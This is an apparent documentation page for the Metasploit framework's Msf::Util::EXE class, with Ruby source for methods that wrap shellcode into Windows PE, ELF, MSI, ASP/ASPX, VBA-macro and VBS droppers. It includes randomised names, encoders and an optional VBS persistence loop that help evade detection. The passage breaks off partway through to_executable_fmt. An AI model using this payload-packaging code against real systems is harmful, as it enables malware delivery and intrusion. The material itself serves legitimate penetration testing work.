Class: Msf::Util::EXE

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/exe.rb

Class Method Summary collapse

Class Method Details

.clear_dynamic_base(exe, pe) ⇒ String

Clears the DYNAMIC_BASE flag for a Windows executable

Parameters:

  • exe (String) —

    The raw executable to be modified by the method

  • pe (Rex::PeParsey::Pe) —

    Use Rex::PeParsey::Pe.new_from_file

Returns:

  • (String) —

    the modified executable



201
202
203
204
205
206
207
208
209
210
211
 
# File 'lib/msf/util/exe.rb', line 201

def self.clear_dynamic_base(exe, pe)
  c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
  c_bits[6] = 0 # DYNAMIC_BASE
  new_dllcharacteristics = c_bits.reverse.join.to_i(2)

  # PE Header Pointer offset = 60d
  # SizeOfOptionalHeader offset = 94h
  dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
  exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
  exe
end

.elf?(code) ⇒ Boolean

Returns:

  • (Boolean) 


2223
2224
2225
 
# File 'lib/msf/util/exe.rb', line 2223

def self.elf?(code)
  code[0..3] == "\x7FELF"
end

.encode_stub(framework, arch, code, platform = nil, badchars = '') ⇒ Object

self.encode_stub

Parameters:

  • framework (Msf::Framework)
  • arch (String)
  • code (String)
  • platform (String) (defaults to: nil)
  • badchars (String) (defaults to: '') 


1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
 
# File 'lib/msf/util/exe.rb', line 1680

def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
  return code unless framework.encoders
  framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      enc = framework.encoders.create(name)
      raw = enc.encode(code, badchars, nil, platform)
      return raw if raw
    rescue
    end
  end
  nil
end

.exe_sub_method(code, opts = {}) ⇒ String

self.exe_sub_method

Parameters:

  • code (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :exe_type (Symbol)
  • :service_exe (String)
  • :sub_method (Boolean)

Returns:

  • (String) 


528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
 
# File 'lib/msf/util/exe.rb', line 528

def self.exe_sub_method(code,opts ={})
  pe = self.get_file_contents(opts[:template])

  case opts[:exe_type]
  when :service_exe
    max_length = 8192
    name = opts[:servicename]
    if name
      bo = pe.index('SERVICENAME')
      unless bo
        raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
      end
      pe[bo, 11] = [name].pack('a11')
    end
    pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
  when :dll
    max_length = 4096
  when :exe_sub
    max_length = 4096
  end

  bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")

  if code.length <= max_length
    pe[bo, code.length] = [code].pack("a*")
  else
    raise RuntimeError, "The EXE generator now has a max size of " +
                        "#{max_length} bytes, please fix the calling module"
  end

  if opts[:exe_type] == :dll
    mt = pe.index('MUTEX!!!')
    pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
    %w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
      offset = pe.index(name)
      pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
    end

    if opts[:dll_exitprocess]
      exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
      exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
      et_index =  pe.index(exit_thread)
      if et_index
        pe[et_index,exit_process.length] = exit_process
      else
        raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
      end
    end
  end

  pe
end

.find_payload_tag(mo, err_msg) ⇒ Integer

self.find_payload_tag

Parameters:

  • mo (String)
  • err_msg (String)

Returns:

  • (Integer)

Raises:

  • (RuntimeError) —

    if the "PAYLOAD:" is not found



2215
2216
2217
2218
2219
2220
2221
 
# File 'lib/msf/util/exe.rb', line 2215

def self.find_payload_tag(mo, err_msg)
  bo = mo.index('PAYLOAD:')
  unless bo
    raise RuntimeError, err_msg
  end
  bo
end

.generate_nops(framework, arch, len, opts = {}) ⇒ Object 



1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
 
# File 'lib/msf/util/exe.rb', line 1693

def self.generate_nops(framework, arch, len, opts = {})
  opts['BadChars'] ||= ''
  opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

  return nil unless framework.nops
  framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      nop = framework.nops.create(name)
      raw = nop.generate_sled(len, opts)
      return raw if raw
    rescue
      # @TODO: stop rescuing everying on each of these, be selective
    end
  end
  nil
end

.get_file_contents(file, perms = "rb") ⇒ String

self.get_file_contents

Parameters:

  • perms (String) (defaults to: "rb")
  • file (String)

Returns:

  • (String) 


2203
2204
2205
2206
2207
 
# File 'lib/msf/util/exe.rb', line 2203

def self.get_file_contents(file, perms = "rb")
  contents = ''
  File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
  contents
end

.macho?(code) ⇒ Boolean

Returns:

  • (Boolean) 


2227
2228
2229
 
# File 'lib/msf/util/exe.rb', line 2227

def self.macho?(code)
  code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
end

.read_replace_script_template(filename, hash_sub) ⇒ Object

self.read_replace_script_template

Parameters:

  • filename (String) —

    Name of the file

  • hash_sub (Hash) 


65
66
67
68
69
70
71
 
# File 'lib/msf/util/exe.rb', line 65

def self.read_replace_script_template(filename, hash_sub)
  template_pathname = File.join(Msf::Config.data_directory, "templates",
                                "scripts", filename)
  template = ''
  File.open(template_pathname, "rb") {|f| template = f.read}
  template % hash_sub
end

.replace_msi_buffer(pe, opts) ⇒ String

self.replace_msi_buffer

Parameters:

  • pe (String)
  • opts (String)
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
 
# File 'lib/msf/util/exe.rb', line 793

def self.replace_msi_buffer(pe, opts)
  opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")

  if opts[:msi_template].include?(File::SEPARATOR)
    template = opts[:msi_template]
  else
    template = File.join(opts[:msi_template_path], opts[:msi_template])
  end

  msi = self.get_file_contents(template)

  section_size = 2**(msi[30..31].unpack('v')[0])

  # This table is one of the few cases where signed values are needed
  sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')

  buffer_chain = []

  # This is closely coupled with the template provided and ideally
  # would be calculated from the dir stream?
  current_secid = 5

  until current_secid == -2
    buffer_chain << current_secid
    current_secid = sector_allocation_table[current_secid]
  end

  buffer_size = buffer_chain.length * section_size

  if pe.size > buffer_size
    raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
  end

  pe_block_start = 0
  pe_block_end = pe_block_start + section_size - 1

  buffer_chain.each do |section|
    block_start = section_size * (section + 1)
    block_end = block_start + section_size - 1
    pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
    msi[block_start..block_end] = pe_block
    pe_block_start = pe_block_end + 1
    pe_block_end += section_size
  end

  msi
end

.set_template_default(opts, exe = nil, path = nil) ⇒ Object

Parameters:

  • opts (Hash) —

    The options hash

  • exe (String) (defaults to: nil) —

    Template type. If undefined, will use the default.

  • path (String) (defaults to: nil) —

    Where you would like the template to be saved.

Options Hash (opts):

  • :template, (String) —

    the template type for the executable

  • :template_path, (String) —

    the path for the template

  • :fallback, (Bool) —

    If there are no options set, default options will be used



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 
# File 'lib/msf/util/exe.rb', line 29

def self.set_template_default(opts, exe = nil, path = nil)
  # If no path specified, use the default one
  path ||= File.join(Msf::Config.data_directory, "templates")

  # If there's no default name, we must blow it up.
  unless exe
    raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
    'without default exe name!'
  end

  # Use defaults only if nothing is specified
  opts[:template_path] ||= path
  opts[:template] ||= exe

  # Only use the path when the filename contains no separators.
  unless opts[:template].include?(File::SEPARATOR)
    opts[:template] = File.join(opts[:template_path], opts[:template])
  end

  # Check if it exists now
  return if File.file?(opts[:template])
  # If it failed, try the default...
  if opts[:fallback]
    default_template = File.join(path, exe)
    if File.file?(default_template)
      # Perhaps we should warn about falling back to the default?
      opts.merge!({ :fellback => default_template })
      opts[:template] = default_template
    end
  end
end

.string_to_pushes(string) ⇒ String

Splits a string into a number of assembly push operations

Parameters:

  • string (String) —

    String to be used

Returns:

  • (String) —

    null terminated string as assembly push ops



499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
 
# File 'lib/msf/util/exe.rb', line 499

def self.string_to_pushes(string)
  str = string.dup
  # Align string to 4 bytes
  rem = (str.length) % 4
  if rem > 0
    str << "\x00" * (4 - rem)
    pushes = ''
  else
    pushes = "h\x00\x00\x00\x00"
  end
  # string is now 4 bytes aligned with null byte

  # push string to stack, starting at the back
  while str.length > 0
    four = 'h'+str.slice!(-4,4)
    pushes << four
  end

  pushes
end

.to_bsd_x64_elf(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1094
1095
1096
 
# File 'lib/msf/util/exe.rb', line 1094

def self.to_bsd_x64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
end

.to_bsd_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1083
1084
1085
 
# File 'lib/msf/util/exe.rb', line 1083

def self.to_bsd_x86_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
end

.to_dotnetmem(base = 0x12340000, data = "", opts = {}) ⇒ String

Creates a .NET DLL which loads data into memory at a specified location with read/execute permissions

- the data will be loaded at: base+0x2065
- default max size is 0x8000 (32768)

Parameters:

  • base (Integer) (defaults to: 0x12340000) —

    Default location set to base 0x12340000

  • data (String) (defaults to: "")
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
 
# File 'lib/msf/util/exe.rb', line 1641

def self.to_dotnetmem(base=0x12340000, data="", opts = {})

  # Allow the user to specify their own DLL template
  set_template_default(opts, "dotnetmem.dll")

  pe = self.get_file_contents(opts[:template])

  # Configure the image base
  base_offset = opts[:base_offset] || 180
  pe[base_offset, 4] = [base].pack('V')

  # Configure the TimeDateStamp
  timestamp_offset = opts[:timestamp_offset] || 136
  pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

  # XXX: Unfortunately we cant make this RWX only RX
  # Mark this segment as read-execute AND writable
  # pe[412,4] = [0xe0000020].pack("V")

  # Write the data into the .text segment
  text_offset = opts[:text_offset] || 0x1065
  text_max    = opts[:text_max] || 0x8000
  pack        = opts[:pack] || 'a32768'
  pe[text_offset, text_max] = [data].pack(pack)

  # Generic a randomized UUID
  uuid_offset = opts[:uuid_offset] || 37656
  pe[uuid_offset,16] = Rex::Text.rand_text(16)

  pe
end

.to_exe_asp(exes = '', opts = {}) ⇒ Object

self.to_exe_asp

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {}) —

    Unused



1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
 
# File 'lib/msf/util/exe.rb', line 1367

def self.to_exe_asp(exes = '', opts = {})
  hash_sub = {}
  hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
  read_replace_script_template("to_exe.asp.template", hash_sub)
end

.to_exe_aspx(exes = '', opts = {}) ⇒ Object

self.to_exe_aspx

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • (Hash) 


1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
 
# File 'lib/msf/util/exe.rb', line 1386

def self.to_exe_aspx(exes = '', opts = {})
  hash_sub = {}
  hash_sub[:var_file]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
  read_replace_script_template("to_exe.aspx.template", hash_sub)
end

.to_exe_elf(framework, opts, template, code, big_endian = false) ⇒ String

Create an ELF executable containing the payload provided in code

For the default template, this method just appends the payload, checks if the template is 32 or 64 bit and adjusts the offsets accordingly For user-provided templates, modifies the header to mark all executable segments as writable and overwrites the entrypoint (usually _start) with the payload.

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • opts (Hash)
  • template (String)
  • code (String)
  • big_endian (Boolean) (defaults to: false) —

    Set to "false" by default

  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
 
# File 'lib/msf/util/exe.rb', line 981

def self.to_exe_elf(framework, opts, template, code, big_endian=false)
  if elf? code
    return code
  end

  # Allow the user to specify their own template
  set_template_default(opts, template)

  # The old way to do it is like other formats, just overwrite a big
  # block of rwx mem with our shellcode.
  #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
  #co = elf.index( " " * 512 )
  #elf[bo, 2048] = [code].pack('a2048') if bo

  # The new template is just an ELF header with its entry point set to
  # the end of the file, so just append shellcode to it and fixup
  # p_filesz and p_memsz in the header for a working ELF executable.
  elf = self.get_file_contents(opts[:template])
  elf << code

  # Check EI_CLASS to determine if the header is 32 or 64 bit
  # Use the proper offsets and pack size
  case elf[4,1].unpack("C").first
  when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
    if big_endian
      elf[0x44,4] = [elf.length].pack('N') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
    else # little endian
      elf[0x44,4] = [elf.length].pack('V') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
    end
  when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
    if big_endian
      elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
    else # little endian
      elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
    end
  else
    raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
  end

  elf
end

.to_exe_msi(framework, exe, opts = {}) ⇒ String

Wraps an executable inside a Windows .msi file for auto execution when run

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • exe (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :msi_template_path (String)
  • :msi_template (String)

Returns:

  • (String) 


777
778
779
780
781
782
783
784
 
# File 'lib/msf/util/exe.rb', line 777

def self.to_exe_msi(framework, exe, opts = {})
  if opts[:uac]
    opts[:msi_template] ||= "template_windows.msi"
  else
    opts[:msi_template] ||= "template_nouac_windows.msi"
  end
  replace_msi_buffer(exe, opts)
end

.to_exe_vba(exes = '') ⇒ Object

self.to_exe_vba

Parameters:

  • exes (String) (defaults to: '') 


1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
 
# File 'lib/msf/util/exe.rb', line 1211

def self.to_exe_vba(exes='')
  exe = exes.unpack('C*')
  hash_sub = {}
  idx = 0
  maxbytes = 2000
  var_base_idx = 0
  var_base = Rex::Text.rand_text_alpha(5).capitalize

  # First write the macro into the vba file
  hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
  hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)

  # Function 1 extracts the binary
  hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s

  # Function 2 executes the binary
  hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s

  hash_sub[:data] = ""

  # Writing the bytes of the exe to the file
  1.upto(exe.length) do |pc|
    while c = exe[idx]
      hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
      if idx > 1 && (idx % maxbytes) == 0
        # When maxbytes are written make a new paragrpah
        hash_sub[:data] << "\r\n"
      end
      idx += 1
    end
  end

  read_replace_script_template("to_exe.vba.template", hash_sub)
end

.to_exe_vbs(exes = '', opts = {}) ⇒ Object

self.to_exe_vba

Parameters:

  • exes (String) (defaults to: '')
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :delay (String)
  • :persists (String)
  • :exe_filename (String) 


1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
 
# File 'lib/msf/util/exe.rb', line 1327

def self.to_exe_vbs(exes = '', opts = {})
  delay   = opts[:delay]   || 5
  persist = opts[:persist] || false

  hash_sub = {}
  hash_sub[:exe_filename]  = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
  hash_sub[:base64_filename]  = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
  hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fname]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]      = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
  hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:init] = ""

  if persist
    hash_sub[:init] << "Do\r\n"
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
    hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
    hash_sub[:init] << "Loop\r\n"
  else
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
  end

  read_replace_script_template("to_exe.vbs.template", hash_sub)
end

.to_executable(framework, arch, plat, code = '', opts = {}) ⇒ String, NilClass

Executable generators

Parameters:

  • arch (Array<String>) —

    The architecture of the system (i.e :x86, :x64)

  • plat (String) —

    The platform (i.e Linux, Windows, OSX)

  • code (String) (defaults to: '')
  • opts (Hash) (defaults to: {}) —

    The options hash

  • framework (Msf::Framework) —

    The framework of you want to use

Returns:

  • (String)
  • (NilClass) 


105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
 
# File 'lib/msf/util/exe.rb', line 105

def self.to_executable(framework, arch, plat, code = '', opts = {})
  if elf? code or macho? code
    return code
  end

  if arch.index(ARCH_X86)

    if plat.index(Msf::Module::Platform::Windows)
      return to_win32pe(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_x86_elf(framework, code)
    end

    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_x86_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::BSD)
      return to_bsd_x86_elf(framework, code)
    end

    if plat.index(Msf::Module::Platform::Solaris)
      return to_solaris_x86_elf(framework, code)
    end

    # XXX: Add remaining x86 systems here
  end

  if arch.index(ARCH_X64)
    if (plat.index(Msf::Module::Platform::Windows))
      return to_win64pe(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_x64_elf(framework, code, opts)
    end

    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_x64_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::BSD)
      return to_bsd_x64_elf(framework, code)
    end
  end

  if arch.index(ARCH_ARMLE)
    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_arm_macho(framework, code)
    end

    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_armle_elf(framework, code)
    end

    # XXX: Add remaining ARMLE systems here
  end

  if arch.index(ARCH_AARCH64)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_aarch64_elf(framework, code)
    end

    # XXX: Add remaining AARCH64 systems here
  end

  if arch.index(ARCH_PPC)
    if plat.index(Msf::Module::Platform::OSX)
      return to_osx_ppc_macho(framework, code)
    end
    # XXX: Add PPC OS X and Linux here
  end

  if arch.index(ARCH_MIPSLE)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_mipsle_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end

  if arch.index(ARCH_MIPSBE)
    if plat.index(Msf::Module::Platform::Linux)
      return to_linux_mipsbe_elf(framework, code)
    end
    # XXX: Add remaining MIPSLE systems here
  end
  nil
end

.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) ⇒ String?

Generate an executable of a given format suitable for running on the architecture/platform pair.

This routine is shared between msfvenom, rpc, and payload modules (use <payload>)

constants

Parameters:

  • framework (Framework)
  • arch (String) —

    Architecture for the target format; one of the ARCH_*

  • plat (#index) —

    platform

  • code (String) —

    The shellcode for the resulting executable to run

  • fmt (String) —

    One of the executable formats as defined in to_executable_fmt_formats

  • exeopts (Hash) —

    Passed directly to the approrpriate method for generating an executable for the given arch/plat pair.

Returns:

  • (String) —

    An executable appropriate for the given architecture/platform pair.

  • (nil) —

    If the format is unrecognized or the arch and plat don't make sense together.



1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
 
# File 'lib/msf/util/exe.rb', line 1983

def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
  # For backwards compatibility with the way this gets called when
  # generating from Msf::Simple::Payload.generate_simple
  if arch.kind_of? Array
    output = nil
    arch.each do |a|
      output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
      break if output
    end
    return output
  end

  # otherwise the result of this huge case statement is returned
  case fmt
  when 'asp'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_asp(exe, exeopts)
  when 'aspx'
    Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
  when 'aspx-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_aspx(exe, exeopts)
  when 'dll'
    case arch
    when ARCH_X86,nil
      to_win32pe_dll(framework, code, exeopts)
    when ARCH_X64
      to_win64pe_dll(framework, code, exeopts)
    end
  when 'exe'
    case arch
    when ARCH_X86,nil
      to_win32pe(framework, code, exeopts)
    when ARCH_X64
      to_win64pe(framework, code, exeopts)
    end
  when 'exe-service'
    case arch
    when ARCH_X86,nil
      to_win32pe_service(framework, code, exeopts)
    when ARCH_X64
      to_win64pe_service(framework, code, exeopts)
    end
  when 'exe-small'
    case arch
    when ARCH_X86,nil
      to_win32pe_old(framework, code, exeopts)
    when ARCH_X64
      to_win64pe(framework, code, exeopts)
    end
  when 'exe-only'
    case arch
    when ARCH_X86,nil
      to_winpe_only(framework, code, exeopts)
    when ARCH_X64
      to_winpe_only(framework, code, exeopts, arch)
    end
  when 'msi'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    exeopts[:uac] = true
    Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
  when 'msi-nouac'
    case arch
    when ARCH_X86,nil
      exe = to_win32pe(framework, code, exeopts)
    when ARCH_X64
      exe = to_win64pe(framework, code, exeopts)
    end
    Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
  when 'elf'
    if elf? code
      return code
    end
    if !plat || plat.index(Msf::Module::Platform::Linux)
      case arch
      when ARCH_X86,nil
        to_linux_x86_elf(framework, code, exeopts)
      when ARCH_X64
        to_linux_x64_elf(framework, code, exeopts)
      when ARCH_AARCH64
        to_linux_aarch64_elf(framework, code, exeopts)
      when ARCH_ARMLE
        to_linux_armle_elf(framework, code, exeopts)
      when ARCH_MIPSBE
        to_linux_mipsbe_elf(framework, code, exeopts)
      when ARCH_MIPSLE
        to_linux_mipsle_elf(framework, code, exeopts)
      end
    elsif plat && plat.index(Msf::Module::Platform::BSD)
      case arch
      when ARCH_X86,nil
        Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
      when ARCH_X64
        Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
      end
    elsif plat && plat.index(Msf::Module::Platform::Solaris)
      case arch
      when ARCH_X86,nil
        to_solaris_x86_elf(framework, code, exeopts)
      end
    end
  when 'elf-so'
    if elf? code
      return code
    end
    if !plat || plat.index(Msf::Module::Platform::Linux)
      case arch
      when ARCH_X86
        to_linux_x86_elf_dll(framework, code, exeopts)
      when ARCH_X64
        to_linux_x64_elf_dll(framework, code, exeopts)
      when ARCH_ARMLE
        to_linux_armle_elf_dll(framework, code, exeopts)
      when ARCH_AARCH64
        to_linux_aarch64_elf_dll(framework, code, exeopts)
      end
    end
  when 'macho', 'osx-app'
    if macho? code
      macho = code
    else
      macho = case arch
